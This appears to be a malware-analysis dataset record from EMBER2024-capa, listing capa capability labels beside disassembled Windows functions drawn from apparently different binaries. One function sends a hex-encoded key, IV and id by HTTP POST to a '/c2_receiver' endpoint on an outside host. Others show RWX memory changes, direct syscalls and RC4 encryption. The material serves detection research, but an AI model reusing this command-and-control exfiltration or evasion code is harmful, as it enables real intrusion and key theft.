joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001d90
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
push r12
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov r15, r8
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 1
lea rcx, str.TLD13Browser_12.0
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140001fb3
mov qword [rsp + 0x38], rbx
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], ebx
mov r8d, 0x1bb
mov qword [rsp + 0x1d8], r13
xor r9d, r9d
mov qword [rsp + 0x1d0], r14
mov rcx, rax
mov r14d, 3
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r13, rax
test rax, rax
je 0x140001f9a
mov qword [rsp + 0x38], rbx
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001f91
mov qword [rsp + 0x228], rbp
lea rbx, [rsp + 0x70]
mov ebp, 0x20
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rsi]
lea rdx, str._02x
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rsi, [rsi + 1]
sub rbp, 1
jne 0x140001e90
mov rbp, qword [rsp + 0x228]
lea rbx, [rsp + 0x48]
mov byte [rsp + 0xb0], 0
mov esi, 0x10
nop dword [rax + rax]
movzx r8d, byte [rdi]
lea rdx, [0x140006114]
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001ed0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], r15
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str._key_:__s___iv_:__s___id_:__s_
mov byte [rsp + 0x68], sil
mov edx, 0x100
lea rcx, [rsp + 0xc0]
call fcn.140001120
mov rbx, qword [rsp + 0x40]
lea rdi, str.Content_Type:_application_json
nop
dec r14d
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001f42
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x140001f52
lea r9, [rsp + 0xc0]
mov dword [rsp + 0x20], eax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001f88
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14d, r14d
jne 0x140001f30
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, qword [rsp + 0x1d8]
mov r14, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400024e0
add rsp, 0x1e0
pop r15
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002adc
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp qword [0x140024718], 0
je 0x140002b3e
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 8
mov rcx, qword [0x140024718]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x140024718], 0
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov edx, 8
mov rcx, qword [0x140024718]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015fd0
add rsp, 0x38
ret

Function at 0x140002b50
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x20], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140024718], rax
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, 8
lea rcx, [0x140024718]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x140002a90]
mov qword [0x140024718], rax
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov edx, 8
lea rcx, [0x140024718]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140015fd0
add rsp, 0x48
ret
Function at 0x14000335c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x148
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
call fcn.140003c54
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140015fd0
add rsp, 0x148
ret
Function at 0x140014764
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x80]
and eax, 0x400000
test eax, eax
je 0x1400147ce
mov rax, qword [rsp + 0x20]
mov al, byte [rax + 0x78]
mov byte [rsp + 4], al
cmp byte [rsp + 4], 0x44
je 0x1400147c0
cmp byte [rsp + 4], 0x53
je 0x1400147c0
cmp byte [rsp + 4], 0x57
je 0x1400147c0
cmp byte [rsp + 4], 0x63
je 0x1400147c0
cmp byte [rsp + 4], 0x64
je 0x1400147c0
cmp byte [rsp + 4], 0x73
je 0x1400147c0
cmp byte [rsp + 4], 0x77
je 0x1400147c0
jmp 0x1400147c7
xor al, al
jmp 0x1400148a7
mov al, 1
jmp 0x1400148a7
mov rax, qword [rsp + 0x20]
movsx eax, byte [rax + 0x78]
mov dword [rsp], eax
cmp dword [rsp], 0x2f
jg 0x14001481d
cmp dword [rsp], 0x2f
je 0x140014879
cmp dword [rsp], 0x22
je 0x140014879
cmp dword [rsp], 0x24
je 0x140014849
cmp dword [rsp], 0x28
je 0x14001484d
cmp dword [rsp], 0x29
je 0x14001484d
cmp dword [rsp], 0x2a
je 0x140014849
cmp dword [rsp], 0x2b
je 0x14001484d
cmp dword [rsp], 0x2e
je 0x140014849
jmp 0x1400148a5
cmp dword [rsp], 0x3f
je 0x14001484d
cmp dword [rsp], 0x5b
je 0x140014849
cmp dword [rsp], 0x5c
je 0x140014849
cmp dword [rsp], 0x5e
je 0x140014849
cmp dword [rsp], 0x7b
je 0x14001484d
cmp dword [rsp], 0x7c
je 0x140014849
cmp dword [rsp], 0x7d
je 0x14001484d
jmp 0x1400148a5
mov al, 1
jmp 0x1400148a7
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x80]
and eax, 0x800000
test eax, eax
je 0x14001486b
mov dword [rsp + 8], 1
jmp 0x140014873
mov dword [rsp + 8], 0
mov al, byte [rsp + 8]
jmp 0x1400148a7
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x80]
and eax, 0x1000000
test eax, eax
je 0x140014897
mov dword [rsp + 0xc], 1
jmp 0x14001489f
mov dword [rsp + 0xc], 0
mov al, byte [rsp + 0xc]
jmp 0x1400148a7
xor al, al
add rsp, 0x18
ret
Function at 0x140015e60
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8395cb5a
call fcn.140015df4
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140016cd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140016d1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140016d1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140016d1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140016d1e
cmp dword [rcx + 0x84], 0xe
jbe 0x140016d1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140016d20
xor al, al
add rsp, 0x28
ret

Function at 0x140016f90
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rbp, r9
mov r14, r8
mov rbx, rdx
mov rsi, rcx
call fcn.1400177c0
mov rdi, qword [rsp + 0x70]
mov qword [rax + 0x138], rbx
mov rbx, qword [rdi + 8]
call fcn.1400177c0
mov qword [rax + 0x128], rbx
mov rax, qword [rsi]
mov rbx, qword [rax + 0x38]
call fcn.1400177c0
mov ecx, dword [0x140024710]
mov r9, rdi
mov byte [rsp + 0x38], 1
mov r8, rbp
mov edx, 8
mov qword [rax + 0x130], rbx
xor ebx, ebx
mov rax, qword gs:[0x58]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rcx, qword [rax + rcx*8]
mov eax, dword [rsp + 0x80]
mov dword [rdx + rcx], eax
mov rdx, r14
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rax
call fcn.140018c20
call fcn.1400177c0
mov rcx, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov qword [rax + 0x138], rbx
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x50]
mov dword [rcx], 1
add rsp, 0x40
pop r14
ret
Function at 0x140019ee0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140019f1c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140016b7c
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140019fd8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x14001a03e
test ebx, ebx
jne 0x14001a03e
lea ecx, [rax + 2]
call fcn.140016b7c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140015fd0
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret

Function at 0x14001a1e0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a23c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a23c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a23c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a23c
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a23c
cmp dword [rcx + 0xf8], 0
je 0x14001a23c
mov ecx, ebx
call fcn.14001a5b0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140024680]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.14001a440
cmp dword [rsp + 0x60], 0
jne 0x14001a27f
mov ecx, ebx
call fcn.14001a570
int3
add rsp, 0x40
pop rbx
ret
Function at 0x14001a290
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a2f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a2f2
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x14001a2f2
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x14001a2f2
cmp dword [rdx + 0x84], 0xe
jbe 0x14001a2f2
cmp dword [rdx + 0xf8], 0
je 0x14001a2f2
mov ecx, ebx
call fcn.14001a5b0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140024680]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.14001a440
cmp dword [rsp + 0x60], 0
jne 0x14001a335
mov ecx, ebx
call fcn.14001a570
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140001df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001e23
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001e67
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001e62
cmp rbx, r11
jae 0x140001e67
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001e50
cmp rbx, r11
jb 0x140001e6b
xor eax, eax
jmp 0x140001e77
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140008210
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rdi
mov r11, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
lea r10, [r11 + 0x40]
mov r8, rdx
repne scasb al, byte [rdi]
mov rdi, r10
not rcx
lea r9, [rcx - 1]
xor ecx, ecx
nop word [rax + rax]
xor edx, edx
mov eax, ecx
inc rdi
div r9d
movzx eax, byte [rdx + r8]
mov byte [rdi - 1], cl
inc ecx
cmp ecx, 0xff
mov byte [rdi + 0xff], al
jle 0x140008240
xor r9b, r9b
mov r8d, 0x100
nop dword [rax + rax]
movzx edi, byte [r10]
movzx eax, byte [r10 + 0x100]
movzx ecx, r9b
add eax, edi
inc r10
add eax, ecx
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
sub r8, 1
movzx edx, al
mov r9d, eax
movzx ecx, byte [rdx + r11 + 0x40]
mov byte [r10 - 1], cl
mov byte [rdx + r11 + 0x40], dil
jne 0x140008270
mov rdi, qword [rsp + 8]
ret

Function at 0x1400082c0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebp, r8d
mov r13, rcx
mov rdi, r9
lea eax, [rbp + 1]
mov r12, rdx
mov ecx, eax
mov ebx, eax
call fcn.140008cf8
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140020b70
mov rdx, rdi
mov rcx, r13
call fcn.140008210
xor bl, bl
xor dil, dil
test ebp, ebp
je 0x140008392
mov r10, rsi
sub r12, rsi
mov r11, rbp
nop dword [rax]
movzx eax, bl
inc r10
inc eax
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
movzx r9d, al
mov ebx, eax
movzx eax, dil
movzx r8d, byte [r9 + r13 + 0x40]
add eax, r8d
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
movzx edx, al
mov edi, eax
movzx ecx, byte [rdx + r13 + 0x40]
mov byte [r9 + r13 + 0x40], cl
mov byte [rdx + r13 + 0x40], r8b
movzx eax, byte [r9 + r13 + 0x40]
add eax, r8d
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
movsxd rcx, eax
movzx eax, byte [rcx + r13 + 0x40]
xor al, byte [r12 + r10 - 1]
sub r11, 1
mov byte [r10 - 1], al
jne 0x140008320
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rax, rsi
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x14000b9e4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14001b034
mov rsi, rax
test rax, rax
je 0x14000ba60
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14000ba5b
cmp dword [rbx], 0x40
jb 0x14000ba5b
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14000ba5b
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14000ba64
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140014b28
Capabilities:
Get geographical location

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x2f0
mov rax, qword [0x140048200]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
mov eax, r8d
mov rsi, rdx
mov rbx, rcx
cmp r8d, 0x800
jne 0x140014b9a
lea r8, [0x140037018]
lea rcx, [rsp + 0xa0]
mov edx, 4
call fcn.14001fcb0
test eax, eax
je 0x140014bbc
cmp eax, 0xc
je 0x140014b94
cmp eax, 0x16
je 0x140014b8e
cmp eax, 0x22
je 0x140014b8e
cmp eax, 0x50
je 0x140014bbc
call fcn.140009960
int3
call fcn.140009960
int3
call fcn.140009918
int3
mov r9d, 4
lea r8, [rsp + 0xa0]
mov ecx, eax
lea edx, [r9 - 1]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x140014cdf
call main
mov edi, dword [rax]
call main
lea rcx, [rsp + 0xb0]
and dword [rax], 0
lea rax, [rsp + 0xa0]
mov r9, rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov esi, 0x112
lea r8d, [rsi - 1]
mov rdx, rsi
call fcn.140020a28
mov ebx, eax
call main
cmp dword [rax], 0
je 0x140014c44
call main
cmp dword [rax], 0
je 0x140014c4b
cmp dword [rax], 0xc
je 0x140014c39
cmp dword [rax], 0x16
je 0x140014c2e
cmp dword [rax], 0x22
je 0x140014c2e
cmp dword [rax], 0x50
je 0x140014c4b
mov ecx, 0x80004005
call fcn.140002350
int3
mov ecx, 0x80070057
call fcn.140002350
int3
mov ecx, 0x8007000e
call fcn.140002350
int3
call main
mov dword [rax], edi
cmp ebx, 0xffffffff
je 0x140014cdf
cmp ebx, esi
jae 0x140014cdf
lea rcx, [rsp + 0xb0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor edx, edx
lea rcx, [rsp + 0x34]
lea r8d, [rdx + 0x6c]
mov rbx, rax
mov dword [rsp + 0x30], 0x70
call fcn.140020b70
lea rcx, str.KERNEL32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014cca
lea rdx, str.FindActCtxSectionStringW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140014cca
lea rcx, [rsp + 0x30]
xor edx, edx
mov r9, rbx
mov qword [rsp + 0x20], rcx
lea r8d, [rdx + 2]
xor ecx, ecx
call rax
mov rcx, rbx
test eax, eax
jne 0x140014cd2
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x140014ce1
xor eax, eax
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.14001eee0
add rsp, 0x2f0
pop rdi
pop rsi
pop rbx
ret
Function at 0x14001ece0
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14001ed69
movsxd rax, dword [0x14000003c]
lea rdi, [0x140000000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x14001ed2b
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001ed79
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14001ed41
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001ed79
cmp dword [rax + 0x84], 0xe
ja 0x14001ed55
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001ed79
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x14001ed79
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, [0x140000000]
mov ecx, 1
call fcn.140022cdc
test eax, eax
jne 0x14001eda9
cmp dword [0x14004d870], 1
jne 0x14001ed95
call fcn.140021f5c
mov ecx, 0x1c
call fcn.140021d34
mov ecx, 0xff
call fcn.14001f8f0
call fcn.140022c58
test eax, eax
jne 0x14001edd4
cmp dword [0x14004d870], 1
jne 0x14001edc0
call fcn.140021f5c
mov ecx, 0x10
call fcn.140021d34
mov ecx, 0xff
call fcn.14001f8f0
call fcn.140022910
nop
call fcn.140022620
test eax, eax
jns 0x14001eded
mov ecx, 0x1b
call fcn.14001f884
call sub.KERNEL32.dll_GetCommandLineW
mov qword [0x14004fc48], rax
call fcn.14002258c
mov qword [0x14004d868], rax
call fcn.14002249c
test eax, eax
jns 0x14001ee18
mov ecx, 8
call fcn.14001f884
call fcn.1400221cc
test eax, eax
jns 0x14001ee2b
mov ecx, 9
call fcn.14001f884
mov ecx, 1
call fcn.14001f990
test eax, eax
je 0x14001ee40
mov ecx, eax
call fcn.14001f884
call fcn.140022170
test byte [rsp + 0x6c], 1
movzx edx, word [rsp + 0x70]
mov r9d, 0xa
cmovne r9d, edx
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.140003250
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x14001ee77
mov ecx, eax
call fcn.14001fbcc
call fcn.14001fbe4
jmp 0x14001ee98
mov eax, edi
jmp 0x14001eea1
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.140022d28
add rsp, 0x28
jmp 0x14001ece0
Function at 0x14001fbcc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140025f90
nop
cmp dword [0x14004d8c8], 1
je 0x14001fb78
mov dword [0x14004d8c4], 1
mov byte [0x14004d8c0], r12b
test ebx, ebx
jne 0x14001fb64
mov rcx, qword [0x14004fc30]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001fb51
mov rcx, qword [0x14004fc28]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14001faf0
call fcn.140022988
cmp qword [rdi], rax
jne 0x14001faf0
jmp 0x14001fad6
cmp rdi, rsi
jb 0x14001fb51
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140022988
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14004fc30]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14004fc28]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14001fb2f
cmp r13, rax
je 0x14001fb4f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14001fad6
lea rdx, [0x1400349f8]
lea rcx, [0x1400349e0]
call fcn.14001f920
lea rdx, [0x140034a08]
lea rcx, [0x140034a00]
call fcn.14001f920
nop
test r12d, r12d
je 0x14001fb87
mov ecx, 8
call fcn.140025e90
test r12d, r12d
jne 0x14001fbb2
mov dword [0x14004d8c8], 1
lea ecx, [r12 + 8]
call fcn.140025e90
mov ecx, r15d
call fcn.14001f8b4
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14001fa40

Function at 0x14001fbd8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14001fa40